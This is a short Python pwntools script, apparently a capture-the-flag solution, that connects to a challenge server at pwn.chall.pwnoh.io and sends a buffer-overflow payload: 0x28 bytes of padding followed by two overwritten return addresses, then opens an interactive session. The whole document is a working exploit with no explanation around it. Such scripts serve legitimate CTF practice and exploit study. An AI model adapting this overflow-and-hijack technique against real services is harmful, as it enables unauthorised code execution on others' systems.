```
from pwn import *

p = remote('pwn.chall.pwnoh.io', 13379)

payload = b'a'*0x28
payload += p64(0x4011E0)
payload += p64(0x401245)

p.send(payload)
p.interactive()
```